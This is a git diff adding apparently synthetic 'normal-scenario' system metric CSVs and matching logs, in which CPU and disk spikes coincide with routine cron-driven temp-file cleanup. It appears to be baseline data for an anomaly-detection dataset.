root[4125]: INFO Filesystem cleanup script finished. +Jul 03 10:04:00 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 03 10:04:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:20 web-app[1234]: GET /api/v1/user/32 status=200 OK +Jul 03 10:04:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:40 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 03 10:05:00 web-app[1234]: GET /api/v1/user/46 status=200 OK +Jul 03 10:05:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:20 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 03 10:05:40 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 03 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:00 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 03 10:06:20 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 03 10:06:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:40 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 03 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:00 web-app[1234]: GET /api/v1/user/38 status=200 OK +Jul 03 10:07:20 web-app[1234]: GET /api/v1/user/29 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_35.csv b/norm_dataset/scenario_4/norm_4_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..dd87c84427660c4f2e6eebbaae42c3b2714c0002 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,11.095382945729265,41.307413682466034,28.017559741282543,1.068013680860575,0.4404405179962902 +2025-08-20T10:00:05Z,15.91430432956856,40.05808932822068,30.33287549748766,0.9813009442286369,0.7842962355841644 +2025-08-20T10:00:10Z,16.0026345544097,42.42334691316288,30.28991330101011,0.7639051913872825,0.8377400222713264 +2025-08-20T10:00:15Z,13.187425248193895,36.88842939081529,30.831214055128296,1.2146628851282468,0.8768030525320595 +2025-08-20T10:00:20Z,14.85074238606444,40.798280531184965,33.382681914597754,1.2079437748845994,1.1927844441565814 +2025-08-20T10:00:25Z,16.811260727774723,41.38035284416549,32.419865255921735,0.8075389179618514,0.6738592030840094 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+2025-08-20T10:07:10Z,13.101085712038996,40.48460856702826,35.36957178605631,0.9004963131119323,0.40134108197230434 +2025-08-20T10:07:15Z,12.384411859487543,42.34561188268582,32.418296836297614,1.325455459255513,0.831421224753723 +2025-08-20T10:07:20Z,12.446027561332668,39.94834355354129,32.28201269329794,1.1280925233460022,1.030499313898722 +2025-08-20T10:07:25Z,14.985112056674426,39.568173378912796,31.557394620410964,0.540225322905949,1.1923683674615542 diff --git a/norm_dataset/scenario_4/norm_4_35.log b/norm_dataset/scenario_4/norm_4_35.log new file mode 100644 index 0000000000000000000000000000000000000000..0175ae16b604b0ee7170413f0213a8ef8a5a06e4 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_35.log @@ -0,0 +1,11 @@ +Aug 20 10:00:25 web-app[2231]: GET /api/v1/user/10 status=200 OK +Aug 20 10:01:15 systemd[1]: Starting daily network connection check... +Aug 20 10:02:05 web-app[2231]: POST /api/v1/login status=200 OK +Aug 20 10:02:30 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 20 10:02:35 systemd[1]: Starting Daily apt download activities... +Aug 20 10:02:40 cleanup_script[7533]: INFO: Starting cleanup_tmp_files.sh. +Aug 20 10:03:40 cleanup_script[7533]: INFO: Found and deleted 1500 expired session files. +Aug 20 10:03:40 cleanup_script[7533]: INFO: Filesystem cleanup finished successfully. +Aug 20 10:05:00 web-app[2231]: GET /api/v1/user/12 status=200 OK +Aug 20 10:05:50 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 20 10:07:05 web-app[2231]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_36.csv b/norm_dataset/scenario_4/norm_4_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..5b0866f6f17643b855b7c392ef698346f2800bad --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,19.35,39.11,29.72,1.56,0.86 +2025-07-02T12:00:05Z,10.25,40.91,38.1,1.44,1.66 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+2025-07-02T12:03:30Z,85.24,48.6,82.76,1.31,0.88 +2025-07-02T12:03:35Z,76.93,45.94,108.23,1.47,0.88 +2025-07-02T12:03:40Z,79.92,54.14,81.8,1.44,1.13 +2025-07-02T12:03:45Z,85.43,50.2,101.96,1.25,0.81 +2025-07-02T12:03:50Z,84.46,48.05,108.05,0.85,1.21 +2025-07-02T12:03:55Z,77.48,48.39,93.19,1.42,1.14 +2025-07-02T12:04:00Z,94.03,51.08,95.8,0.81,1.1 +2025-07-02T12:04:05Z,94.94,50.72,87.87,1.21,1.22 +2025-07-02T12:04:10Z,77.66,49.22,89.54,0.86,1.24 +2025-07-02T12:04:15Z,87.88,52.94,101.59,0.87,1.05 +2025-07-02T12:04:20Z,83.89,52.33,93.81,1.33,0.87 +2025-07-02T12:04:25Z,90.17,47.05,107.29,1.49,1.17 +2025-07-02T12:04:30Z,83.82,50.29,98.4,1.21,0.76 +2025-07-02T12:04:35Z,79.99,47.01,89.46,1.47,1.16 +2025-07-02T12:04:40Z,76.88,45.38,89.72,1.16,1.11 +2025-07-02T12:04:45Z,86.66,46.61,92.41,1.34,1.14 +2025-07-02T12:04:50Z,86.9,52.54,86.43,1.27,0.82 +2025-07-02T12:04:55Z,93.16,52.25,84.4,1.41,1.04 +2025-07-02T12:05:00Z,11.9,41.02,29.62,1.71,1.49 +2025-07-02T12:05:05Z,12.0,41.22,36.37,1.06,1.21 +2025-07-02T12:05:10Z,14.46,42.56,31.71,1.06,1.51 +2025-07-02T12:05:15Z,15.79,39.27,29.02,0.94,0.95 +2025-07-02T12:05:20Z,12.33,41.39,26.03,1.22,1.56 +2025-07-02T12:05:25Z,17.17,41.64,29.8,1.93,1.23 +2025-07-02T12:05:30Z,18.63,40.74,38.81,1.04,1.53 +2025-07-02T12:05:35Z,12.98,40.4,39.31,1.78,1.42 +2025-07-02T12:05:40Z,18.1,41.93,27.63,0.99,1.3 +2025-07-02T12:05:45Z,16.62,38.8,31.4,1.5,1.31 +2025-07-02T12:05:50Z,17.13,41.08,39.65,1.5,1.78 +2025-07-02T12:05:55Z,13.45,38.17,38.38,0.92,1.38 +2025-07-02T12:06:00Z,18.85,41.22,25.49,1.21,1.72 +2025-07-02T12:06:05Z,11.66,38.53,26.62,1.27,1.19 +2025-07-02T12:06:10Z,12.69,39.66,25.38,1.46,1.12 +2025-07-02T12:06:15Z,12.48,40.06,36.65,1.89,1.68 +2025-07-02T12:06:20Z,14.43,40.77,29.51,1.21,1.21 +2025-07-02T12:06:25Z,10.78,42.38,30.98,1.63,1.25 +2025-07-02T12:06:30Z,12.84,41.15,35.56,1.84,1.66 +2025-07-02T12:06:35Z,17.49,42.33,32.19,1.0,1.25 +2025-07-02T12:06:40Z,14.24,38.24,30.23,1.25,1.13 +2025-07-02T12:06:45Z,12.25,42.87,33.4,1.41,1.44 +2025-07-02T12:06:50Z,16.15,42.59,34.22,0.97,1.61 +2025-07-02T12:06:55Z,17.26,38.03,35.77,1.57,1.05 +2025-07-02T12:07:00Z,14.28,39.58,27.95,1.45,1.01 +2025-07-02T12:07:05Z,18.99,38.32,30.58,0.94,1.6 +2025-07-02T12:07:10Z,10.51,41.66,31.44,1.54,1.38 +2025-07-02T12:07:15Z,11.84,42.27,39.01,1.81,1.53 +2025-07-02T12:07:20Z,15.11,40.51,26.72,1.99,1.64 +2025-07-02T12:07:25Z,12.96,41.99,36.06,0.95,1.71 diff --git a/norm_dataset/scenario_4/norm_4_36.log b/norm_dataset/scenario_4/norm_4_36.log new file mode 100644 index 0000000000000000000000000000000000000000..a5c972efed5cc3efe98c39ac30e49c363a94b8dd --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_36.log @@ -0,0 +1,18 @@ +Jul 02 12:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:12 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/91 status=200 OK +Jul 02 12:01:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:50 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:02:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:31 cleanup_script[6545]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:03:00 cleanup_script[6545]: INFO: Scanning directory /tmp for files older than 7 days. +Jul 02 12:03:35 cleanup_script[6545]: INFO: Scanning directory /var/cache for orphan files. +Jul 02 12:04:45 cleanup_script[6545]: INFO: Found and deleted 1582 expired session files. +Jul 02 12:04:46 cleanup_script[6545]: INFO: Filesystem cleanup finished successfully in 135 seconds. +Jul 02 12:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/55 status=200 OK +Jul 02 12:05:30 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:25 web-app[1234]: GET /api/v1/data status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_37.csv b/norm_dataset/scenario_4/norm_4_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..c8f851129dfe9951aa4362bbd19b55806bb1c2e8 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,15.22,39.15,32.48,1.2,1.36 +2025-08-24T10:00:05Z,14.87,39.21,28.5,1.77,1.13 +2025-08-24T10:00:10Z,15.71,39.77,35.53,1.58,1.68 +2025-08-24T10:00:15Z,14.6,39.75,29.39,1.4,1.22 +2025-08-24T10:00:20Z,10.02,40.11,26.85,1.82,1.27 +2025-08-24T10:00:25Z,18.39,40.39,30.88,1.25,1.21 +2025-08-24T10:00:30Z,14.18,39.29,24.97,1.62,0.82 +2025-08-24T10:00:35Z,12.92,41.0,36.46,1.2,1.7 +2025-08-24T10:00:40Z,14.73,41.04,22.23,1.13,1.69 +2025-08-24T10:00:45Z,11.51,40.53,29.99,1.53,0.83 +2025-08-24T10:00:50Z,12.47,39.86,27.1,1.77,1.29 +2025-08-24T10:00:55Z,12.02,39.3,37.11,1.95,1.2 +2025-08-24T10:01:00Z,12.61,41.03,25.54,1.82,1.3 +2025-08-24T10:01:05Z,16.18,42.75,34.92,1.6,0.98 +2025-08-24T10:01:10Z,14.61,37.57,29.92,1.33,1.38 +2025-08-24T10:01:15Z,13.75,38.41,27.0,1.86,0.97 +2025-08-24T10:01:20Z,12.7,43.35,29.22,1.01,1.2 +2025-08-24T10:01:25Z,15.18,42.3,30.06,1.39,1.64 +2025-08-24T10:01:30Z,12.42,39.66,23.57,1.83,0.66 +2025-08-24T10:01:35Z,14.79,40.2,26.24,1.31,0.94 +2025-08-24T10:01:40Z,14.6,41.13,30.08,1.53,1.18 +2025-08-24T10:01:45Z,15.67,39.58,36.87,1.03,1.01 +2025-08-24T10:01:50Z,17.62,43.3,33.95,1.55,1.61 +2025-08-24T10:01:55Z,13.74,41.36,36.51,2.0,1.08 +2025-08-24T10:02:00Z,14.67,36.12,28.78,1.31,1.75 +2025-08-24T10:02:05Z,6.76,37.52,28.78,1.23,0.85 +2025-08-24T10:02:10Z,12.01,39.09,22.72,1.44,1.04 +2025-08-24T10:02:15Z,19.48,39.25,30.75,1.2,1.44 +2025-08-24T10:02:20Z,19.88,41.4,19.52,1.09,1.05 +2025-08-24T10:02:25Z,13.19,42.11,25.25,1.82,1.63 +2025-08-24T10:02:30Z,16.24,39.43,33.95,1.35,1.02 +2025-08-24T10:02:35Z,18.32,40.02,33.73,1.5,1.03 +2025-08-24T10:02:40Z,20.84,42.36,27.4,1.56,1.11 +2025-08-24T10:02:45Z,13.23,38.05,24.89,1.7,1.21 +2025-08-24T10:02:50Z,20.07,38.14,30.57,1.72,0.91 +2025-08-24T10:02:55Z,18.51,39.63,38.4,1.91,1.81 +2025-08-24T10:03:00Z,13.3,40.18,27.23,1.15,0.95 +2025-08-24T10:03:05Z,9.38,37.1,34.62,1.44,1.13 +2025-08-24T10:03:10Z,98.3,39.5,185.65,2.21,1.0 +2025-08-24T10:03:15Z,97.71,41.56,198.56,1.69,1.32 +2025-08-24T10:03:20Z,92.66,42.22,231.41,1.77,1.57 +2025-08-24T10:03:25Z,99.0,40.23,200.57,1.67,1.27 +2025-08-24T10:03:30Z,99.0,36.67,209.36,2.02,1.21 +2025-08-24T10:03:35Z,95.43,38.65,154.05,1.35,1.42 +2025-08-24T10:03:40Z,98.65,42.0,211.18,1.15,1.05 +2025-08-24T10:03:45Z,99.0,41.0,194.91,1.68,1.11 +2025-08-24T10:03:50Z,99.0,41.13,164.21,1.48,0.7 +2025-08-24T10:03:55Z,98.28,39.17,201.02,1.16,1.08 +2025-08-24T10:04:00Z,90.98,37.83,218.48,1.31,1.51 +2025-08-24T10:04:05Z,99.0,40.94,230.61,1.18,0.56 +2025-08-24T10:04:10Z,94.69,41.25,208.06,1.64,1.01 +2025-08-24T10:04:15Z,97.66,38.37,194.53,1.87,0.89 +2025-08-24T10:04:20Z,99.0,38.28,200.89,1.21,1.05 +2025-08-24T10:04:25Z,99.0,44.74,178.04,1.61,1.06 +2025-08-24T10:04:30Z,99.0,38.05,162.39,1.57,1.31 +2025-08-24T10:04:35Z,99.0,40.84,186.3,1.72,1.42 +2025-08-24T10:04:40Z,93.99,40.13,164.4,1.49,1.35 +2025-08-24T10:04:45Z,99.0,40.26,180.99,0.74,0.77 +2025-08-24T10:04:50Z,99.0,40.13,164.68,1.04,0.94 +2025-08-24T10:04:55Z,91.39,41.59,173.08,2.2,1.01 +2025-08-24T10:05:00Z,96.12,41.11,188.26,1.45,1.22 +2025-08-24T10:05:05Z,95.17,41.95,176.13,1.55,0.95 +2025-08-24T10:05:10Z,99.0,38.42,225.73,2.04,0.88 +2025-08-24T10:05:15Z,99.0,38.98,149.76,1.79,1.5 +2025-08-24T10:05:20Z,99.0,38.59,210.15,1.37,1.4 +2025-08-24T10:05:25Z,89.12,42.96,207.81,1.24,1.23 +2025-08-24T10:05:30Z,99.0,38.3,206.46,1.5,1.79 +2025-08-24T10:05:35Z,99.0,41.61,162.49,1.81,1.06 +2025-08-24T10:05:40Z,14.11,42.33,30.25,1.41,1.37 +2025-08-24T10:05:45Z,13.59,41.46,31.14,1.79,1.12 +2025-08-24T10:05:50Z,17.98,38.6,38.88,1.3,1.65 +2025-08-24T10:05:55Z,14.08,39.2,35.47,1.8,1.2 +2025-08-24T10:06:00Z,12.66,36.51,42.23,1.46,1.71 +2025-08-24T10:06:05Z,16.7,41.38,37.31,1.24,1.52 +2025-08-24T10:06:10Z,12.84,41.02,34.94,1.54,1.65 +2025-08-24T10:06:15Z,8.69,41.7,37.29,1.38,1.09 +2025-08-24T10:06:20Z,15.64,41.66,35.3,1.36,1.79 +2025-08-24T10:06:25Z,17.37,41.67,32.36,1.39,0.72 +2025-08-24T10:06:30Z,14.58,41.33,27.36,1.39,0.94 +2025-08-24T10:06:35Z,17.08,38.53,29.71,1.16,1.66 +2025-08-24T10:06:40Z,10.17,41.37,32.92,1.63,1.27 +2025-08-24T10:06:45Z,13.83,40.11,24.98,1.8,1.32 +2025-08-24T10:06:50Z,21.39,40.9,39.24,1.9,1.41 +2025-08-24T10:06:55Z,10.92,41.87,38.29,1.25,1.14 +2025-08-24T10:07:00Z,16.61,42.03,30.46,2.1,0.97 +2025-08-24T10:07:05Z,15.01,41.35,31.7,1.53,0.62 +2025-08-24T10:07:10Z,12.86,36.99,23.62,1.28,1.28 +2025-08-24T10:07:15Z,18.0,41.11,32.04,1.46,0.98 +2025-08-24T10:07:20Z,15.1,41.27,35.63,1.38,1.37 +2025-08-24T10:07:25Z,15.52,37.46,35.05,1.6,0.75 diff --git a/norm_dataset/scenario_4/norm_4_37.log b/norm_dataset/scenario_4/norm_4_37.log new file mode 100644 index 0000000000000000000000000000000000000000..196445a3b4d4dfc97f7e352752963c4b763b29b1 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_37.log @@ -0,0 +1,14 @@ +Aug 24 10:00:00 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:00:35 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:01:10 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:01:40 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 24 10:01:45 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:02:20 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:02:55 web-app[2233]: GET /api/v1/health status=200 OK +Aug 24 10:03:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 10:03:10 cleanup_script[8901]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:04:25 cleanup_script[8901]: INFO: Scanning /tmp for files older than 7 days. +Aug 24 10:05:35 cleanup_script[8901]: INFO: Found and deleted 1317 expired session files. +Aug 24 10:06:00 web-app[2233]: GET /api/v1/user/951 status=200 OK +Aug 24 10:06:40 web-app[2233]: GET /api/v1/user/951 status=200 OK +Aug 24 10:07:20 web-app[2233]: GET /api/v1/user/951 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_38.csv b/norm_dataset/scenario_4/norm_4_38.csv new file mode 100644 index 0000000000000000000000000000000000000000..25d3400b6e3c9e0f4b5a6d9213cd31673f4c4e35 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_38.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,16.57,39.19,12.44,0.8,0.63 +2025-08-24T10:00:05Z,19.12,38.96,9.39,0.94,1.15 +2025-08-24T10:00:10Z,16.8,42.49,7.55,0.67,0.92 +2025-08-24T10:00:15Z,15.84,41.33,12.2,1.0,0.72 +2025-08-24T10:00:20Z,14.99,39.59,11.83,0.59,0.59 +2025-08-24T10:00:25Z,23.36,41.17,10.08,1.19,0.87 +2025-08-24T10:00:30Z,16.11,36.78,7.78,1.02,0.8 +2025-08-24T10:00:35Z,13.14,38.9,6.67,1.07,0.84 +2025-08-24T10:00:40Z,8.89,39.86,9.23,1.06,0.58 +2025-08-24T10:00:45Z,12.42,36.85,7.92,1.26,0.81 +2025-08-24T10:00:50Z,17.94,38.62,9.01,0.99,0.38 +2025-08-24T10:00:55Z,14.79,35.53,8.66,0.64,0.81 +2025-08-24T10:01:00Z,10.99,41.66,12.01,0.87,0.86 +2025-08-24T10:01:05Z,14.52,39.46,11.51,0.62,1.1 +2025-08-24T10:01:10Z,14.0,37.71,8.91,1.02,0.78 +2025-08-24T10:01:15Z,20.61,37.56,10.82,1.32,0.67 +2025-08-24T10:01:20Z,14.14,41.5,11.49,0.93,0.95 +2025-08-24T10:01:25Z,19.02,41.7,7.04,1.07,1.03 +2025-08-24T10:01:30Z,17.3,37.83,9.07,0.89,1.13 +2025-08-24T10:01:35Z,17.3,40.15,9.78,1.16,0.75 +2025-08-24T10:01:40Z,13.93,38.16,9.6,0.75,0.52 +2025-08-24T10:01:45Z,13.21,38.41,8.04,0.93,0.46 +2025-08-24T10:01:50Z,13.27,38.69,12.94,0.81,0.66 +2025-08-24T10:01:55Z,19.08,36.86,9.79,0.88,0.57 +2025-08-24T10:02:00Z,15.0,40.23,11.48,1.19,0.92 +2025-08-24T10:02:05Z,17.12,37.91,5.0,1.18,0.51 +2025-08-24T10:02:10Z,14.67,41.84,7.63,1.18,0.79 +2025-08-24T10:02:15Z,14.76,38.6,11.18,0.91,0.63 +2025-08-24T10:02:20Z,11.85,38.1,6.93,1.29,0.87 +2025-08-24T10:02:25Z,18.15,37.65,9.97,1.21,1.05 +2025-08-24T10:02:30Z,58.22,39.12,80.99,0.88,0.54 +2025-08-24T10:02:35Z,51.93,40.93,55.1,0.81,0.67 +2025-08-24T10:02:40Z,56.3,39.31,71.7,1.47,0.65 +2025-08-24T10:02:45Z,53.85,38.94,80.64,1.09,0.65 +2025-08-24T10:02:50Z,60.1,37.28,66.97,1.03,1.04 +2025-08-24T10:02:55Z,57.79,40.72,56.5,1.15,0.77 +2025-08-24T10:03:00Z,52.64,36.01,74.15,1.29,0.82 +2025-08-24T10:03:05Z,54.55,42.58,75.76,1.16,1.08 +2025-08-24T10:03:10Z,60.16,38.34,66.53,1.32,1.07 +2025-08-24T10:03:15Z,62.87,38.07,73.63,1.07,0.71 +2025-08-24T10:03:20Z,49.5,39.52,74.26,0.89,1.1 +2025-08-24T10:03:25Z,55.37,39.36,59.83,1.07,0.68 +2025-08-24T10:03:30Z,49.94,42.85,57.36,1.04,0.49 +2025-08-24T10:03:35Z,39.62,44.16,74.2,1.07,0.72 +2025-08-24T10:03:40Z,55.25,38.43,69.19,1.26,1.1 +2025-08-24T10:03:45Z,17.06,41.24,11.04,0.99,1.01 +2025-08-24T10:03:50Z,15.98,38.76,8.65,0.65,0.63 +2025-08-24T10:03:55Z,13.56,39.81,8.73,0.97,0.86 +2025-08-24T10:04:00Z,14.91,41.28,11.36,1.35,0.68 +2025-08-24T10:04:05Z,13.01,39.62,5.0,0.65,0.63 +2025-08-24T10:04:10Z,25.15,41.13,8.64,1.19,0.76 +2025-08-24T10:04:15Z,15.48,37.81,12.62,1.17,0.93 +2025-08-24T10:04:20Z,20.91,42.28,8.63,0.92,0.89 +2025-08-24T10:04:25Z,18.3,40.42,9.4,1.26,1.38 +2025-08-24T10:04:30Z,11.71,37.7,10.7,1.2,1.09 +2025-08-24T10:04:35Z,13.2,41.06,7.43,0.99,0.9 +2025-08-24T10:04:40Z,13.81,37.3,8.5,1.11,0.65 +2025-08-24T10:04:45Z,17.19,38.33,10.03,1.0,0.64 +2025-08-24T10:04:50Z,16.39,38.9,10.98,0.99,0.87 +2025-08-24T10:04:55Z,21.6,43.34,9.56,1.1,0.43 +2025-08-24T10:05:00Z,15.97,38.58,9.23,0.91,0.93 +2025-08-24T10:05:05Z,16.74,41.68,14.68,1.07,0.4 +2025-08-24T10:05:10Z,12.28,39.74,10.58,0.92,0.6 +2025-08-24T10:05:15Z,11.77,39.66,14.12,1.09,1.11 +2025-08-24T10:05:20Z,15.57,44.51,7.64,0.86,0.85 +2025-08-24T10:05:25Z,16.93,41.72,9.42,1.11,0.92 +2025-08-24T10:05:30Z,14.34,37.4,9.46,0.92,0.93 +2025-08-24T10:05:35Z,24.55,44.65,11.1,0.94,0.82 +2025-08-24T10:05:40Z,16.56,41.82,11.76,1.27,0.85 +2025-08-24T10:05:45Z,12.7,40.54,9.01,0.82,0.81 +2025-08-24T10:05:50Z,17.02,39.52,9.27,0.99,0.69 +2025-08-24T10:05:55Z,15.27,41.84,11.03,0.91,0.87 +2025-08-24T10:06:00Z,11.86,42.91,11.63,0.98,0.86 +2025-08-24T10:06:05Z,13.83,37.71,11.74,0.99,0.69 +2025-08-24T10:06:10Z,15.7,43.0,11.59,1.12,0.72 +2025-08-24T10:06:15Z,17.54,38.42,10.39,1.35,0.57 +2025-08-24T10:06:20Z,16.32,37.37,9.82,0.87,0.9 +2025-08-24T10:06:25Z,15.74,42.89,13.85,1.22,1.03 +2025-08-24T10:06:30Z,18.35,42.48,6.96,1.2,1.03 +2025-08-24T10:06:35Z,17.08,41.19,8.6,1.12,0.91 +2025-08-24T10:06:40Z,15.42,41.94,13.41,1.25,0.57 +2025-08-24T10:06:45Z,10.56,41.7,9.7,1.03,0.55 +2025-08-24T10:06:50Z,18.67,35.4,10.0,0.88,0.76 +2025-08-24T10:06:55Z,13.79,40.26,7.78,1.02,1.19 +2025-08-24T10:07:00Z,10.71,40.98,7.78,1.29,0.97 +2025-08-24T10:07:05Z,14.55,40.07,10.73,1.04,1.13 +2025-08-24T10:07:10Z,21.34,36.55,11.64,0.79,1.02 +2025-08-24T10:07:15Z,13.1,43.18,11.9,1.03,0.98 +2025-08-24T10:07:20Z,14.48,40.43,8.94,1.15,0.66 +2025-08-24T10:07:25Z,12.99,41.45,10.5,0.57,0.39 diff --git a/norm_dataset/scenario_4/norm_4_38.log b/norm_dataset/scenario_4/norm_4_38.log new file mode 100644 index 0000000000000000000000000000000000000000..af01ff8a1129430408cc9c81dccb53827579136a --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_38.log @@ -0,0 +1,18 @@ +Aug 24 10:00:00 systemd[1]: Starting daily network check... +Aug 24 10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:00:50 systemd[1]: Starting daily network check... +Aug 24 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:01:40 systemd[1]: Starting daily network check... +Aug 24 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:02:30 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 10:02:31 root-script[4813]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:03:35 root-script[4813]: INFO: Found and deleted 1500 expired session files. +Aug 24 10:03:36 root-script[4813]: INFO: Filesystem cleanup finished successfully. +Aug 24 10:04:00 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 10:04:40 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 10:05:20 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 10:06:00 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 10:06:40 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 10:07:20 web-app[1234]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_39.csv b/norm_dataset/scenario_4/norm_4_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c02db81f8abe4d28cc9b9e40930112e00706757 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T10:00:00Z,15.99,40.29,33.13,1.29,0.88 +2025-08-10T10:00:05Z,14.72,42.91,25.71,0.71,1.03 +2025-08-10T10:00:10Z,16.3,37.89,24.65,1.23,0.78 +2025-08-10T10:00:15Z,18.05,39.02,32.41,1.0,0.86 +2025-08-10T10:00:20Z,14.53,38.82,28.88,0.8,0.9 +2025-08-10T10:00:25Z,14.53,35.61,33.57,1.09,0.74 +2025-08-10T10:00:30Z,18.16,40.89,32.37,1.04,0.83 +2025-08-10T10:00:35Z,16.53,40.78,29.64,0.88,0.8 +2025-08-10T10:00:40Z,14.06,40.02,25.77,1.01,0.81 +2025-08-10T10:00:45Z,16.09,39.3,22.43,0.92,0.68 +2025-08-10T10:00:50Z,14.07,35.75,27.77,1.02,0.8 +2025-08-10T10:00:55Z,14.07,38.74,34.28,1.13,0.87 +2025-08-10T10:01:00Z,15.48,38.97,31.07,1.32,1.02 +2025-08-10T10:01:05Z,11.17,37.59,23.77,0.75,0.94 +2025-08-10T10:01:10Z,11.55,39.52,30.87,1.43,1.12 +2025-08-10T10:01:15Z,13.88,41.21,31.93,0.61,0.68 +2025-08-10T10:01:20Z,12.97,45.66,25.58,0.97,0.93 +2025-08-10T10:01:25Z,15.63,40.52,30.77,1.12,0.83 +2025-08-10T10:01:30Z,13.18,40.77,30.29,1.06,1.13 +2025-08-10T10:01:35Z,12.18,39.78,24.29,0.88,0.68 +2025-08-10T10:01:40Z,17.93,34.24,31.79,0.96,0.67 +2025-08-10T10:01:45Z,14.55,39.92,32.8,0.9,0.71 +2025-08-10T10:01:50Z,15.14,40.18,35.42,0.88,0.48 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+2025-08-10T10:03:35Z,35.47,41.42,55.05,1.16,0.81 +2025-08-10T10:03:40Z,31.48,37.24,79.83,1.26,0.73 +2025-08-10T10:03:45Z,32.46,44.65,79.76,1.0,0.89 +2025-08-10T10:03:50Z,37.15,37.65,62.02,1.14,0.64 +2025-08-10T10:03:55Z,40.9,39.03,63.09,0.94,0.78 +2025-08-10T10:04:00Z,33.03,42.44,59.42,1.06,0.82 +2025-08-10T10:04:05Z,28.59,36.31,62.34,0.97,0.88 +2025-08-10T10:04:10Z,34.27,40.68,73.76,1.02,0.91 +2025-08-10T10:04:15Z,22.72,43.92,86.36,1.12,0.63 +2025-08-10T10:04:20Z,26.07,35.18,59.04,0.84,0.57 +2025-08-10T10:04:25Z,43.06,40.55,71.25,1.42,0.99 +2025-08-10T10:04:30Z,45.29,40.78,75.51,0.8,0.85 +2025-08-10T10:04:35Z,35.62,42.35,69.27,0.76,0.69 +2025-08-10T10:04:40Z,36.2,36.29,55.14,1.23,1.03 +2025-08-10T10:04:45Z,35.94,36.04,64.02,1.16,0.82 +2025-08-10T10:04:50Z,51.06,41.57,67.08,1.12,0.98 +2025-08-10T10:04:55Z,42.55,40.89,67.61,1.13,0.81 +2025-08-10T10:05:00Z,14.04,40.75,26.04,1.0,1.11 +2025-08-10T10:05:05Z,14.63,41.04,29.43,0.82,1.06 +2025-08-10T10:05:10Z,12.79,37.96,32.52,1.02,0.76 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+2025-08-10T10:06:55Z,13.96,41.02,24.88,0.97,0.79 